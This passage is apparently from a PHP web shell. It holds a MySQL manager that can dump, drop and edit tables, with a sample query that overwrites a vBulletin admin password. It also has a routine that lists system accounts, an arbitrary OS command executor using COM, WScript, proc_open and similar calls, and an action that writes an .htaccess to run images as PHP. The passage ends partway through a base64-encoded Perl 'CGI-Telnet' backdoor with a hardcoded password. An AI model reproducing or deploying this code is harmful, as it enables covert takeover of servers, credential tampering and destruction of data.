771 !$dbport && $dbport = '3306';
772 $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
773 if (isset($dbhost)) {
774 $dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
775 }
776 if (isset($dbuser)) {
777 $dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
778 }
779 if (isset($dbpass)) {
780 $dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
781 }
782 if (isset($dbport)) {
783 $dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
784 }
785 if (isset($dbname)) {
786 $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
787 }
788 if (isset($charset)) {
789 $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
790 }
791 if ($doing == 'backupmysql' && $saveasfile) {
792 if (!$table) {
793 m('Please choose the table');
794 } else {
795 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
796 $table = array_flip($table);
797 $fp = @fopen($path, 'w');
798 if ($fp) {
799 $result = q('SHOW tables');
800 if (!$result)
801 p('<h2>' . mysql_error() . '</h2>');
802 $mysqldata = '';
803 while ($currow = mysql_fetch_array($result)) {
804 if (isset($table[$currow[0]])) {
805 sqldumptable($currow[0], $fp);
806 }
807 }
808 fclose($fp);
809 $fileurl = str_replace(SA_ROOT, '', $path);
810 m('Database has success backup to <a href="' . $fileurl . '" target="_blank">' . $path . '</a>');
811 mysql_close();
812 } else {
813 m('Backup failed');
814 }
815 }
816 }
817 if ($insert && $insertsql) {
818 $keystr = $valstr = $tmp = '';
819 foreach ($insertsql as $key => $val) {
820 if ($val) {
821 $keystr .= $tmp . $key;
822 $valstr .= $tmp . "'" . addslashes($val) . "'";
823 $tmp = ',';
824 }
825 }
826 if ($keystr && $valstr) {
827 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
828 m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
829 }
830 }
831 if ($update && $insertsql && $base64) {
832 $valstr = $tmp = '';
833 foreach ($insertsql as $key => $val) {
834 $valstr .= $tmp . $key . "='" . addslashes($val) . "'";
835 $tmp = ',';
836 }
837 if ($valstr) {
838 $where = base64_decode($base64);
839 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
840 m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Cập nhật thành công' : mysql_error());
841 }
842 }
843 if ($doing == 'del' && $base64) {
844 $where = base64_decode($base64);
845 $delete_sql = "DELETE FROM $tablename WHERE $where";
846 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
847 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
848 }
849 if ($tablename && $doing == 'drop') {
850 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
851 if (q("DROP TABLE $tablename")) {
852 m('Drop table of success');
853 $tablename = '';
854 } else {
855 m(mysql_error());
856 }
857 }
858 $charsets = array(
859 '' => 'Default',
860 'gbk' => 'GBK',
861 'big5' => 'Big5',
862 'utf8' => 'UTF-8',
863 'latin1' => 'Latin1'
864 );
865 formhead(array(
866 'title' => 'MYSQL Manager'
867 ));
868 makehide('action', 'sqladmin');
869 p('<p>');
870 p('DBHost:');
871 makeinput(array(
872 'name' => 'dbhost',
873 'size' => 20,
874 'value' => $dbhost
875 ));
876 p(':');
877 makeinput(array(
878 'name' => 'dbport',
879 'size' => 4,
880 'value' => $dbport
881 ));
882 p('DBUser:');
883 makeinput(array(
884 'name' => 'dbuser',
885 'size' => 15,
886 'value' => $dbuser
887 ));
888 p('DBPass:');
889 makeinput(array(
890 'name' => 'dbpass',
891 'size' => 15,
892 'value' => $dbpass
893 ));
894 p('DBCharset:');
895 makeselect(array(
896 'name' => 'charset',
897 'option' => $charsets,
898 'selected' => $charset
899 ));
900 makeinput(array(
901 'name' => 'connect',
902 'value' => 'Connect',
903 'type' => 'submit',
904 'class' => 'bt'
905 ));
906 p('</p>');
907 formfoot();
908?><script type="text/javascript">
909function editrecord(action, base64, tablename){
910 if (action == 'del') {
911 if (!confirm('Is or isn\'t deletion record?')) return;
912 }
913 $('recordlist').doing.value=action;
914 $('recordlist').base64.value=base64;
915 $('recordlist').tablename.value=tablename;
916 $('recordlist').submit();
917}
918function moddbname(dbname) {
919 if(!dbname) return;
920 $('setdbname').dbname.value=dbname;
921 $('setdbname').submit();
922}
923function settable(tablename,doing,page) {
924 if(!tablename) return;
925 if (doing) {
926 $('settable').doing.value=doing;
927 }
928 if (page) {
929 $('settable').page.value=page;
930 }
931 $('settable').tablename.value=tablename;
932 $('settable').submit();
933}
934</script>
935<?php
936 formhead(array(
937 'name' => 'recordlist'
938 ));
939 makehide('doing');
940 makehide('action', 'sqladmin');
941 makehide('base64');
942 makehide('tablename');
943 p($dbform);
944 formfoot();
945 formhead(array(
946 'name' => 'setdbname'
947 ));
948 makehide('action', 'sqladmin');
949 p($dbform);
950 if (!$dbname) {
951 makehide('dbname');
952 }
953 formfoot();
954 formhead(array(
955 'name' => 'settable'
956 ));
957 makehide('action', 'sqladmin');
958 p($dbform);
959 makehide('tablename');
960 makehide('page', $page);
961 makehide('doing');
962 formfoot();
963 $cachetables = array();
964 $pagenum = 30;
965 $page = intval($page);
966 if ($page) {
967 $start_limit = ($page - 1) * $pagenum;
968 } else {
969 $start_limit = 0;
970 $page = 1;
971 }
972 if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
973 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
974 // get mysql server
975 $mysqlver = mysql_get_server_info();
976 p('<p>MySQL ' . $mysqlver . ' running in ' . $dbhost . ' as ' . $dbuser . '@' . $dbhost . '</p>');
977 $highver = $mysqlver > '4.1' ? 1 : 0;
978
979 // Show database
980 $query = q("SHOW DATABASES");
981 $dbs = array();
982 $dbs[] = '-- Select a database --';
983 while ($db = mysql_fetch_array($query)) {
984 $dbs[$db['Database']] = $db['Database'];
985 }
986 makeselect(array(
987 'title' => 'Please select a database:',
988 'name' => 'db[]',
989 'option' => $dbs,
990 'selected' => $dbname,
991 'onchange' => 'moddbname(this.options[this.selectedIndex].value)',
992 'newline' => 1
993 ));
994 $tabledb = array();
995 if ($dbname) {
996 p('<p>');
997 p('Current dababase: <a href="javascript:moddbname(\'' . $dbname . '\');">' . $dbname . '</a>');
998 if ($tablename) {
999 p(' | Current Table: <a href="javascript:settable(\'' . $tablename . '\');">' . $tablename . '</a> [ <a href="javascript:settable(\'' . $tablename . '\', \'insert\');">Insert</a> | <a href="javascript:settable(\'' . $tablename . '\', \'structure\');">Structure</a> | <a href="javascript:settable(\'' . $tablename . '\', \'drop\');">Drop</a> ]');
1000 }
1001 p('</p>');
1002 mysql_select_db($dbname);
1003 $getnumsql = '';
1004 $runquery = 0;
1005 if ($sql_query) {
1006 $runquery = 1;
1007 }
1008 $allowedit = 0;
1009 if ($tablename && !$sql_query) {
1010 $sql_query = "SELECT * FROM $tablename";
1011 $getnumsql = $sql_query;
1012 $sql_query = $sql_query . " LIMIT $start_limit, $pagenum";
1013 $allowedit = 1;
1014 }
1015 p('<form action="' . $self . '" method="POST">');
1016 p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database <font color=red><b>' . $dbname . '</font></b>:<BR>Example VBB Password: <font color=red>RiOZanR</font><BR><font color=yellow>UPDATE `user` SET `password` = \'69e53e5ab9536e55d31ff533aefc4fbe\', salt = \'p5T\' WHERE `userid` = \'1\' </font>
1017 </td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">' . htmlspecialchars($sql_query, ENT_QUOTES) . '</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
1018 makehide('tablename', $tablename);
1019 makehide('action', 'sqladmin');
1020 p($dbform);
1021 p('</form>');
1022 if ($tablename || ($runquery && $sql_query)) {
1023 if ($doing == 'structure') {
1024 $result = q("SHOW COLUMNS FROM $tablename");
1025 $rowdb = array();
1026 while ($row = mysql_fetch_array($result)) {
1027 $rowdb[] = $row;
1028 }
1029 p('<table border="0" cellpadding="3" cellspacing="0">');
1030 p('<tr class="head">');
1031 p('<td>Field</td>');
1032 p('<td>Type</td>');
1033 p('<td>Null</td>');
1034 p('<td>Key</td>');
1035 p('<td>Default</td>');
1036 p('<td>Extra</td>');
1037 p('</tr>');
1038 foreach ($rowdb as $row) {
1039 $thisbg = bg();
1040 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1041 p('<td>' . $row['Field'] . '</td>');
1042 p('<td>' . $row['Type'] . '</td>');
1043 p('<td>' . $row['Null'] . ' </td>');
1044 p('<td>' . $row['Key'] . ' </td>');
1045 p('<td>' . $row['Default'] . ' </td>');
1046 p('<td>' . $row['Extra'] . ' </td>');
1047 p('</tr>');
1048 }
1049 tbfoot();
1050 } elseif ($doing == 'insert' || $doing == 'edit') {
1051 $result = q('SHOW COLUMNS FROM ' . $tablename);
1052 while ($row = mysql_fetch_array($result)) {
1053 $rowdb[] = $row;
1054 }
1055 $rs = array();
1056 if ($doing == 'insert') {
1057 p('<h2>Insert new line in ' . $tablename . ' table »</h2>');
1058 } else {
1059 p('<h2>Update record in ' . $tablename . ' table »</h2>');
1060 $where = base64_decode($base64);
1061 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
1062 $rs = mysql_fetch_array($result);
1063 }
1064 p('<form method="post" action="' . $self . '">');
1065 p($dbform);
1066 makehide('action', 'sqladmin');
1067 makehide('tablename', $tablename);
1068 p('<table border="0" cellpadding="3" cellspacing="0">');
1069 foreach ($rowdb as $row) {
1070 if ($rs[$row['Field']]) {
1071 $value = htmlspecialchars($rs[$row['Field']]);
1072 } else {
1073 $value = '';
1074 }
1075 $thisbg = bg();
1076 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1077 p('<td><b>' . $row['Field'] . '</b><br />' . $row['Type'] . '</td><td><textarea class="area" name="insertsql[' . $row['Field'] . ']" style="width:500px;height:60px;overflow:auto;">' . $value . '</textarea></td></tr>');
1078 }
1079 if ($doing == 'insert') {
1080 p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
1081 } else {
1082 p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
1083 makehide('base64', $base64);
1084 }
1085 p('</table></form>');
1086 } else {
1087 $querys = @explode(';', $sql_query);
1088 foreach ($querys as $num => $query) {
1089 if ($query) {
1090 p("<p><b>Query#{$num} : " . htmlspecialchars($query, ENT_QUOTES) . "</b></p>");
1091 switch (qy($query)) {
1092 case 0:
1093 p('<h2>Error : ' . mysql_error() . '</h2>');
1094 break;
1095 case 1:
1096 if (strtolower(substr($query, 0, 13)) == 'select * from') {
1097 $allowedit = 1;
1098 }
1099 if ($getnumsql) {
1100 $tatol = mysql_num_rows(q($getnumsql));
1101 $multipage = multi($tatol, $pagenum, $page, $tablename);
1102 }
1103 if (!$tablename) {
1104 $sql_line = str_replace(array(
1105 "\r",
1106 "\n",
1107 "\t"
1108 ), array(
1109 ' ',
1110 ' ',
1111 ' '
1112 ), trim(htmlspecialchars($query)));
1113 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
1114 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i", $sql_line, $matches);
1115 $tablename = $matches[1][0];
1116 }
1117 $result = q($query);
1118 p($multipage);
1119 p('<table border="0" cellpadding="3" cellspacing="0">');
1120 p('<tr class="head">');
1121 if ($allowedit)
1122 p('<td>Action</td>');
1123 $fieldnum = @mysql_num_fields($result);
1124 for ($i = 0; $i < $fieldnum; $i++) {
1125 $name = @mysql_field_name($result, $i);
1126 $type = @mysql_field_type($result, $i);
1127 $len = @mysql_field_len($result, $i);
1128 p("<td nowrap>$name<br><span>$type($len)</span></td>");
1129 }
1130 p('</tr>');
1131 while ($mn = @mysql_fetch_assoc($result)) {
1132 $thisbg = bg();
1133 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1134 $where = $tmp = $b1 = '';
1135 foreach ($mn as $key => $inside) {
1136 if ($inside) {
1137 $where .= $tmp . $key . "='" . addslashes($inside) . "'";
1138 $tmp = ' AND ';
1139 }
1140 $b1 .= '<td nowrap>' . html_clean($inside) . ' </td>';
1141 }
1142 $where = base64_encode($where);
1143 if ($allowedit)
1144 p('<td nowrap><a href="javascript:editrecord(\'edit\', \'' . $where . '\', \'' . $tablename . '\');">Edit</a> | <a href="javascript:editrecord(\'del\', \'' . $where . '\', \'' . $tablename . '\');">Del</a></td>');
1145 p($b1);
1146 p('</tr>');
1147 unset($b1);
1148 }
1149 tbfoot();
1150 p($multipage);
1151 break;
1152 case 2:
1153 $ar = mysql_affected_rows();
1154 p('<h2>affected rows : <b>' . $ar . '</b></h2>');
1155 break;
1156 }
1157 }
1158 }
1159 }
1160 } else {
1161 $query = q("SHOW TABLE STATUS");
1162 $table_num = $table_rows = $data_size = 0;
1163 $tabledb = array();
1164 while ($table = mysql_fetch_array($query)) {
1165 $data_size = $data_size + $table['Data_length'];
1166 $table_rows = $table_rows + $table['Rows'];
1167 $table['Data_length'] = sizecount($table['Data_length']);
1168 $table_num++;
1169 $tabledb[] = $table;
1170 }
1171 $data_size = sizecount($data_size);
1172 unset($table);
1173 p('<table border="0" cellpadding="0" cellspacing="0">');
1174 p('<form action="' . $self . '" method="POST">');
1175 makehide('action', 'sqladmin');
1176 p($dbform);
1177 p('<tr class="head">');
1178 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
1179 p('<td>Name</td>');
1180 p('<td>Rows</td>');
1181 p('<td>Data_length</td>');
1182 p('<td>Create_time</td>');
1183 p('<td>Update_time</td>');
1184 if ($highver) {
1185 p('<td>Engine</td>');
1186 p('<td>Collation</td>');
1187 }
1188 p('</tr>');
1189 foreach ($tabledb as $key => $table) {
1190 $thisbg = bg();
1191 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1192 p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="' . $table['Name'] . '" /></td>');
1193 p('<td><a href="javascript:settable(\'' . $table['Name'] . '\');">' . $table['Name'] . '</a> [ <a href="javascript:settable(\'' . $table['Name'] . '\', \'insert\');">Insert</a> | <a href="javascript:settable(\'' . $table['Name'] . '\', \'structure\');">Structure</a> | <a href="javascript:settable(\'' . $table['Name'] . '\', \'drop\');">Drop</a> ]</td>');
1194 p('<td>' . $table['Rows'] . '</td>');
1195 p('<td>' . $table['Data_length'] . '</td>');
1196 p('<td>' . $table['Create_time'] . '</td>');
1197 p('<td>' . $table['Update_time'] . '</td>');
1198 if ($highver) {
1199 p('<td>' . $table['Engine'] . '</td>');
1200 p('<td>' . $table['Collation'] . '</td>');
1201 }
1202 p('</tr>');
1203 }
1204 p('<tr class=fout>');
1205 p('<td> </td>');
1206 p('<td>Total tables: ' . $table_num . '</td>');
1207 p('<td>' . $table_rows . '</td>');
1208 p('<td>' . $data_size . '</td>');
1209 p('<td colspan="' . ($highver ? 4 : 2) . '"> </td>');
1210 p('</tr>');
1211
1212 p("<tr class=\"fout\"><td colspan=\"" . ($highver ? 8 : 6) . "\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"" . SA_ROOT . $_SERVER['HTTP_HOST'] . "_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
1213 makehide('doing', 'backupmysql');
1214 formfoot();
1215 p("</table>");
1216 fr($query);
1217 }
1218 }
1219 }
1220 tbfoot();
1221 @mysql_close();
1222} elseif ($action == 'etcpwd') {
1223 formhead(array(
1224 'title' => 'Get /etc/passwd'
1225 ));
1226 makehide('action', 'etcpwd');
1227 makehide('dir', $nowpath);
1228 $i = 0;
1229 echo "<p><br><textarea class=\area\ id=\phpcodexxx\ name=\phpcodexxx\ cols=\100\ rows=\25\>";
1230 while ($i < 60000) {
1231 $line = posix_getpwuid($i);
1232 if (!empty($line)) {
1233 while (list($key, $vba_etcpwd) = each($line)) {
1234 echo "" . $vba_etcpwd . "
1235";
1236 break;
1237 }
1238 }
1239 $i++;
1240 }
1241 echo "</textarea></p>";
1242 formfoot();
1243} elseif ($action == 'command') {
1244 if (IS_WIN && IS_COM) {
1245 if ($program && $parameter) {
1246 $shell = new COM('Shell.Application');
1247 $a = $shell->ShellExecute($program, $parameter);
1248 m('Program run has ' . (!$a ? 'success' : 'fail'));
1249 }
1250 !$program && $program = 'c:\indows\ystem32\md.exe';
1251 !$parameter && $parameter = '/c net start > ' . SA_ROOT . 'log.txt';
1252 formhead(array(
1253 'title' => 'Execute Program'
1254 ));
1255 makehide('action', 'shell');
1256 makeinput(array(
1257 'title' => 'Program',
1258 'name' => 'program',
1259 'value' => $program,
1260 'newline' => 1
1261 ));
1262 p('<p>');
1263 makeinput(array(
1264 'title' => 'Parameter',
1265 'name' => 'parameter',
1266 'value' => $parameter
1267 ));
1268 makeinput(array(
1269 'name' => 'submit',
1270 'class' => 'bt',
1271 'type' => 'submit',
1272 'value' => 'Execute'
1273 ));
1274 p('</p>');
1275 formfoot();
1276 }
1277 formhead(array(
1278 'title' => 'Execute Command'
1279 ));
1280 makehide('action', 'shell');
1281 if (IS_WIN && IS_COM) {
1282 $execfuncdb = array(
1283 'phpfunc' => 'phpfunc',
1284 'wscript' => 'wscript',
1285 'proc_open' => 'proc_open'
1286 );
1287 makeselect(array(
1288 'title' => 'Use:',
1289 'name' => 'execfunc',
1290 'option' => $execfuncdb,
1291 'selected' => $execfunc,
1292 'newline' => 1
1293 ));
1294 }
1295 p('<p>');
1296 makeinput(array(
1297 'title' => 'Command',
1298 'name' => 'command',
1299 'value' => $command
1300 ));
1301 makeinput(array(
1302 'name' => 'submit',
1303 'class' => 'bt',
1304 'type' => 'submit',
1305 'value' => 'Execute'
1306 ));
1307 p('</p>');
1308 formfoot();
1309 if ($command) {
1310 p('<hr width="100%" noshade /><pre>');
1311 if ($execfunc == 'wscript' && IS_WIN && IS_COM) {
1312 $wsh = new COM('WScript.shell');
1313 $exec = $wsh->exec('cmd.exe /c ' . $command);
1314 $stdout = $exec->StdOut();
1315 $stroutput = $stdout->ReadAll();
1316 echo $stroutput;
1317 } elseif ($execfunc == 'proc_open' && IS_WIN && IS_COM) {
1318 $descriptorspec = array(
1319 0 => array(
1320 'pipe',
1321 'r'
1322 ),
1323 1 => array(
1324 'pipe',
1325 'w'
1326 ),
1327 2 => array(
1328 'pipe',
1329 'w'
1330 )
1331 );
1332 $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
1333 if (is_resource($process)) {
1334 fwrite($pipes[0], $command . "
1335");
1336 fwrite($pipes[0], "exit
1337");
1338 fclose($pipes[0]);
1339 while (!feof($pipes[1])) {
1340 echo fgets($pipes[1], 1024);
1341 }
1342 fclose($pipes[1]);
1343 while (!feof($pipes[2])) {
1344 echo fgets($pipes[2], 1024);
1345 }
1346 fclose($pipes[2]);
1347 proc_close($process);
1348 }
1349 } else {
1350 echo (execute($command));
1351 }
1352 p('</pre>');
1353 }
1354} elseif ($action == 'monteamCGI.log') {
1355 mkdir('monteam', 0755);
1356 chdir('monteam');
1357 $kokdosya = ".htaccess";
1358 $dosya_adi = "$kokdosya";
1359 $dosya = fopen($dosya_adi, 'w') or die("Can not open file!");
1360 $metin = "Options +FollowSymLinks +Indexes
1361DirectoryIndex default.html
1362## START ##
1363Options +ExecCGI
1364AddHandler cgi-script log cgi pl tg love h4 tgb x-zone
1365AddType application/x-httpd-php .jpg
1366RewriteEngine on
1367RewriteRule (.*)\war$ .log
1368## END ##";
1369 fwrite($dosya, $metin);
1370 fclose($dosya);
1371 $pythonp = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnVzZSBNSU1FOjpCYXNlNjQ7CiRWZXJzaW9uPSAiQ0dJLVRlbG5ldCBWZXJzaW9uIDEuNSI7CiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDI1NSwgMCwgMCksIDBweCAwcHggNXB4IHJnYigyNTUsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+TW9uS2lyYTwvZm9udD4iOwoKJFBhc3N3b3JkID0gIm1vbmtpcmFkZyI7CQkJIyBDaGFuZ2UgdGhpcy4gWW91IHdpbGwgbmVlZCB0byBlbnRlciB0aGlzCgkJCQkjIHRvIGxvZ2luLgpzdWIgSXNfV2luKCl7Cgkkb3MgPSAmdHJpbSgkRU5WeyJTRVJWRVJfU09GVFdBUkUifSk7CglpZigkb3MgPX4gbS93aW4vaSl7CgkJcmV0dXJuIDE7Cgl9ZWxzZXsKCQlyZXR1cm4gMDsKCX0KfQokV2luTlQgPSAmSXNfV2luKCk7CQkJIyBZb3UgbmVlZCB0byBjaGFuZ2UgdGhlIHZhbHVlIG9mIHRoaXMgdG8gMSBpZgoJCQkJCSMgeW91J3JlIHJ1bm5pbmcgdGhpcyBzY3JpcHQgb24gYSBXaW5kb3dzIE5UCgkJCQkJIyBtYWNoaW5lLiBJZiB5b3UncmUgcnVubmluZyBpdCBvbiBVbml4LCB5b3UKCQkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuCgokTlRDbWRTZXAgPSAiJiI7CQkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMKCQkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFdpbmRvd3MgTlQuCgokVW5peENtZFNlcCA9ICI7IjsJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gVW5peC4KCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTA7CQkjIFRpbWUgaW4gc2Vjb25kcyBhZnRlciBjb21tYW5kcyB3aWxsIGJlIGtpbGxlZAoJCQkJCSMgRG9uJ3Qgc2V0IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzCgkJCQkJIyB1c2VmdWwgZm9yIGNvbW1hbmRzIHRoYXQgbWF5IGhhbmcgb3IgdGhhdAoJCQkJCSMgdGFrZSB2ZXJ5IGxvbmcgdG8gZXhlY3V0ZSwgbGlrZSAiZmluZCAvIi4KCQkJCQkjIFRoaXMgaXMgdmFsaWQgb25seSBvbiBVbml4IHNlcnZlcnMuIEl0IGlzCgkJCQkJIyBpZ25vcmVkIG9uIE5UIFNlcnZlcnMuCgokU2hvd0R5bmFtaWNPdXRwdXQgPSAxOwkJCSMgSWYgdGhpcyBpcyAxLCB0aGVuIGRhdGEgaXMgc2VudCB0byB0aGUKCQkJCQkjIGJyb3dzZXIgYXMgc29vbiBhcyBpdCBpcyBvdXRwdXQsIG90aGVyd2lzZQoJCQkJCSMgaXQgaXMgYnVmZmVyZWQgYW5kIHNlbmQgd2hlbiB0aGUgY29tbWFuZAoJCQkJCSMgY29tcGxldGVzLiBUaGlzIGlzIHVzZWZ1bCBmb3IgY29tbWFuZHMgbGlrZQoJCQkJCSMgcGluZywgc28gdGhhdCB5b3UgY2FuIHNlZSB0aGUgb3V0cHV0IGFzIGl0CgkJCQkJIyBpcyBiZWluZyBnZW5lcmF0ZWQuCgojIERPTidUIENIQU5HRSBBTllUSElORyBCRUxPVyBUSElTIExJTkUgVU5MRVNTIFlPVSBLTk9XIFdIQVQgWU9VJ1JFIERPSU5HICEhCgokQ21kU2VwID0gKCRXaW5OVCA/ICROVENtZFNlcCA6ICRVbml4Q21kU2VwKTsKJENtZFB3ZCA9ICgkV2luTlQgPyAiY2QiIDogInB3ZCIpOwokUGF0aFNlcCA9ICgkV2luTlQgPyAiXFwiIDogIi8iKTsKJFJlZGlyZWN0b3IgPSAoJFdpbk5UID8gIiAyPiYxIDE+JjIiIDogIiAxPiYxIDI+JjEiKTsKJGNvbHM9IDEzMDsKJHJvd3M9IDI2OwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUmVhZHMgdGhlIGlucHV0IHNlbnQgYnkgdGhlIGJyb3dzZXIgYW5kIHBhcnNlcyB0aGUgaW5wdXQgdmFyaWFibGVzLiBJdAojIHBhcnNlcyBHRVQsIFBPU1QgYW5kIG11bHRpcGFydC9mb3JtLWRhdGEgdGhhdCBpcyB1c2VkIGZvciB1cGxvYWRpbmcgZmlsZXMuCiMgVGhlIGZpbGVuYW1lIGlzIHN0b3JlZCBpbiAkaW57J2YnfSBhbmQgdGhlIGRhdGEgaXMgc3RvcmVkIGluICRpbnsnZmlsZWRhdGEnfS4KIyBPdGhlciB2YXJpYWJsZXMgY2FuIGJlIGFjY2Vzc2VkIHVzaW5nICRpbnsndmFyJ30sIHdoZXJlIHZhciBpcyB0aGUgbmFtZSBvZgojIHRoZSB2YXJpYWJsZS4gTm90ZTogTW9zdCBvZiB0aGUgY29kZSBpbiB0aGlzIGZ1bmN0aW9uIGlzIHRha2VuIGZyb20gb3RoZXIgQ0dJCiMgc2NyaXB0cy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUmVhZFBhcnNlIAp7Cglsb2NhbCAoKmluKSA9IEBfIGlmIEBfOwoJbG9jYWwgKCRpLCAkbG9jLCAka2V5LCAkdmFsKTsKCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOwoJaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiR0VUIikKCXsKCQkkaW4gPSAkRU5WeydRVUVSWV9TVFJJTkcnfTsKCX0KCWVsc2lmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIlBPU1QiKQoJewoJCWJpbm1vZGUoU1RESU4pIGlmICRNdWx0aXBhcnRGb3JtRGF0YSAmICRXaW5OVDsKCQlyZWFkKFNURElOLCAkaW4sICRFTlZ7J0NPTlRFTlRfTEVOR1RIJ30pOwoJfQoJIyBoYW5kbGUgZmlsZSB1cGxvYWQgZGF0YQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pCgl7CgkJJEJvdW5kYXJ5ID0gJy0tJy4kMTsgIyBwbGVhc2UgcmVmZXIgdG8gUkZDMTg2NyAKCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyAKCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFdOwoJCSRIZWFkZXJCb2R5ID1+IC9cclxuXHJcbnxcblxuLzsKCQkkSGVhZGVyID0gJGA7CgkJJEJvZHkgPSAkJzsKIAkJJEJvZHkgPX4gcy9cclxuJC8vOyAjIHRoZSBsYXN0IFxyXG4gd2FzIHB1dCBpbiBieSBOZXRzY2FwZQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5OwoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgCgkJJGlueydmJ30gPSAkMTsgCgkJJGlueydmJ30gPX4gcy9cIi8vZzsKCQkkaW57J2YnfSA9fiBzL1xzLy9nOwoKCQkjIHBhcnNlIHRyYWlsZXIKCQlmb3IoJGk9MjsgJGxpc3RbJGldOyAkaSsrKQoJCXsgCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOwoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87CgkJCSRrZXkgPSAkMTsKCQkJJHZhbCA9ICQnOwoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gPSAkdmFsOyAKCQl9Cgl9CgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkKCXsKCQlAaW4gPSBzcGxpdCgvJi8sICRpbik7CgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQoJCXsKCQkJJGluWyRpXSA9fiBzL1wrLyAvZzsKCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsKCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJGlueyRrZXl9IC49IC